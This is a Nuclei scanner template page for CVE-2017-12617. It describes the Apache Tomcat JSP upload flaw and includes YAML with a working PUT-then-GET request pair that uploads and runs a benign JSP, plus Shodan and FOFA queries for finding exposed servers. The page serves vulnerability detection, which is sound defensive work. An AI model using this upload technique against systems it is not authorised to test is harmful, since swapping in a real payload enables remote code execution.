Apache Tomcat - Remote Code Execution
ID: CVE-2017-12617
Severity: high
Author: pussycat0x
Tags: cve2017,cve,tomcat,apache,rce,kev,intrusive
Description
Section titled “Description”When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
YAML Source
Section titled “YAML Source”id: CVE-2017-12617
info: name: Apache Tomcat - Remote Code Execution author: pussycat0x severity: high description: | When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. impact: | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server. remediation: | Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability. reference: - https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/ - https://github.com/cyberheartmi9/CVE-2017-12617 - https://www.exploit-db.com/exploits/43008 - https://nvd.nist.gov/vuln/detail/CVE-2017-12617 - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: "CVE-2017-12617" cwe-id: CWE-434 epss-score: 0.97533 epss-percentile: 0.99992 cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:* metadata: verified: "true" max-request: 2 vendor: apache product: tomcat shodan-query: - html:"Apache Tomcat" - http.title:"apache tomcat" - http.html:"apache tomcat" - cpe:"cpe:2.3:a:apache:tomcat" fofa-query: - body="apache tomcat" - title="apache tomcat" google-query: intitle:"apache tomcat" tags: cve2017,cve,tomcat,apache,rce,kev,intrusive
http: - raw: - | PUT /{{randstr}}.jsp/ HTTP/1.1 Host: {{Hostname}}
<% out.println("CVE-2017-12617");%> - | GET /{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}}
matchers-condition: and matchers: - type: word part: body_2 words: - "CVE-2017-12617"
- type: status status: - 200# digest: 4a0a00473045022004acc59390b8a398685d623317a4a3401159663724aea48e8660f4b45b8dcba3022100ee9091c2b1b29f48ea1da9541538daf28e844fb04bb3c9a5708d05924b2e5cd5:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12617.yaml"